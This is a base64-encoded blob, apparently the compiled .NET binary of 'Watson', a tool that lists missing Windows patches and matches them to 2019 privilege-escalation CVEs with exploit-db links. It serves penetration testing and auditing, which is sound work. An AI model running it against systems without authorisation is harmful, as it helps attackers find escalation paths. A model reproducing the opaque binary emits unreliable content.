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AAAAAAAAAAAAPwEAAAEAAAAAAAAAAAAAACNAWcBAAAAAAQAAAAAAAAAAAAAAJYBsgYAAAAABAAAAAAAAAAAAAAAjQF0AgAAAAARAAMAEgADACcARQApAEUANwBFADkARQBjAHABZQBwAQAAAENWRV8yMDE5XzExMzAAPD5jX19EaXNwbGF5Q2xhc3MxXzAAPD45X18zXzAAPFNob3dSZXN1bHRzPmJfXzNfMAA8U2V0QXNWdWxuZXJhYmxlPmJfXzAAQ1ZFXzIwMTlfMDg0MQA8PjlfXzNfMQA8U2hvd1Jlc3VsdHM+Yl9fM18xAElFbnVtZXJhYmxlYDEASUVudW1lcmF0b3JgMQBMaXN0YDEASW50MzIAPD45X18zXzIAPFNob3dSZXN1bHRzPmJfXzNfMgBGdW5jYDIAQ1ZFXzIwMTlfMTI1MwBDVkVfMjAxOV8xMDY0AENWRV8yMDE5XzE0MDUAQ1ZFXzIwMTlfMTMxNQBDVkVfMjAxOV8xMzg1AENWRV8yMDE5XzA4MzYAQ1ZFXzIwMTlfMTM4OAA8PjkAPE1vZHVsZT4APFByaXZhdGVJbXBsZW1lbnRhdGlvbkRldGFpbHM+AFN5c3RlbS5JTwBtc2NvcmxpYgA8PmMAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMAV2F0c29uLk1zcmMAQWRkAGlkADxWdWxuZXJhYmxlPmtfX0JhY2tpbmdGaWVsZAA8SWRlbnRpZmljYXRpb24+a19fQmFja2luZ0ZpZWxkADxLbm93bkV4cGxvaXRzPmtfX0JhY2tpbmdGaWVsZABnZXRfTWVzc2FnZQBBZGRSYW5nZQBFbnVtZXJhYmxlAGdldF9WdWxuZXJhYmxlAHNldF9WdWxuZXJhYmxlAFNldEFzVnVsbmVyYWJsZQBJRGlzcG9zYWJsZQBDb25zb2xlAG5hbWUAV3JpdGVMaW5lAFdoZXJlAFN5c3RlbS5Db3JlAERpc3Bvc2UAUG9wdWxhdGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAdmFsdWUAUmVtb3ZlAFdhdHNvbi5leGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUb1N0cmluZwBDb21wdXRlU3RyaW5nSGFzaABnZXRfTGVuZ3RoAFdtaQBDaGVjawBQcm9ncmFtAGdldF9JdGVtAFN5c3RlbQBNYWluAGdldF9JZGVudGlmaWNhdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBNYW5hZ2VtZW50T2JqZWN0Q29sbGVjdGlvbgBWdWxuZXJhYmlsaXR5Q29sbGVjdGlvbgBNYW5hZ2VtZW50RXhjZXB0aW9uAFdhdHNvbgBJbmZvAFByaW50TG9nbwBTeXN0ZW0uTGlucQBHZXRCdWlsZE51bWJlcgBNYW5hZ2VtZW50T2JqZWN0U2VhcmNoZXIAVGV4dFdyaXRlcgBnZXRfRXJyb3IASUVudW1lcmF0b3IATWFuYWdlbWVudE9iamVjdEVudW1lcmF0b3IAR2V0RW51bWVyYXRvcgAuY3RvcgAuY2N0b3IAR2V0SW5zdGFsbGVkS0JzAGluc3RhbGxlZEtCcwBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAX3Z1bG5lcmFiaWxpdGllcwBhcmdzAENvbnRhaW5zAFN5c3RlbS5Db2xsZWN0aW9ucwBnZXRfQ2hhcnMAZ2V0X0tub3duRXhwbG9pdHMAZXhwbG9pdHMAU2hvd1Jlc3VsdHMATWFuYWdlbWVudEJhc2VPYmplY3QATWFuYWdlbWVudE9iamVjdABJbnRlcnNlY3QAR2V0AFN5c3RlbS5NYW5hZ2VtZW50AGdldF9DdXJyZW50AENvdW50AEZpcnN0AE1vdmVOZXh0AEFueQBvcF9FcXVhbGl0eQBWdWxuZXJhYmlsaXR5AElzTnVsbE9yRW1wdHkAAAAAAEkgACAAXwBfACAAIAAgACAAXwBfACAAIAAgACAAIAAgAF8AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAASSAALwAgAC8AIAAvAFwAIABcACAAXABfAF8AIABfAHwAIAB8AF8AIABfAF8AXwAgACAAXwBfAF8AIAAgAF8AIABfAF8AIAAgAABJIABcACAAXAAvACAAIABcAC8AIAAvACAAXwBgACAAfAAgAF8AXwAvACAAXwBfAHwALwAgAF8AIABcAHwAIAAnAF8AIABcACAAAUkgACAAXAAgACAALwBcACAAIAAvACAAKABfAHwAIAB8ACAAfABfAFwAXwBfACAAXAAgACgAXwApACAAfAAgAHwAIAB8ACAAfAAASSAAIAAgAFwALwAgACAAXAAvACAAXABfAF8ALABfAHwAXABfAF8AfABfAF8AXwAvAFwAXwBfAF8ALwB8AF8AfAAgAHwAXwB8AABHIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAABHIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdgAyAC4AMAAgACAAIAAgAABDIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABAAF8AUgBhAHMAdABhAE0AbwB1AHMAZQANAAoAACsgAFsAIQBdACAAewAwAH0AIAA6ACAAVgBVAEwATgBFAFIAQQBCAEwARQAAEyAAIABbAD4AXQAgAHsAMAB9AABrIABbACoAXQAgAEYAaQBuAGkAcwBoAGUAZAAuACAARgBvAHUAbgBkACAAewAwAH0AIABwAG8AdABlAG4AdABpAGEAbAAgAHYAdQBsAG4AZQByAGEAYgBpAGwAaQB0AGkAZQBzAC4ADQAKAABTIABbACoAXQAgAEYAaQBuAGkAcwBoAGUAZAAuACAARgBvAHUAbgBkACAAMAAgAHYAdQBsAG4AZQByAGEAYgBpAGwAaQB0AGkAZQBzAC4ADQAKAAAbQwBWAEUALQAyADAAMQA5AC0AMAA4ADMANgABS2gAdAB0AHAAcwA6AC8ALwBlAHgAcABsAG8AaQB0AC0AZABiAC4AYwBvAG0ALwBlAHgAcABsAG8AaQB0AHMALwA0ADYANwAxADgAAYEraAB0AHQAcAB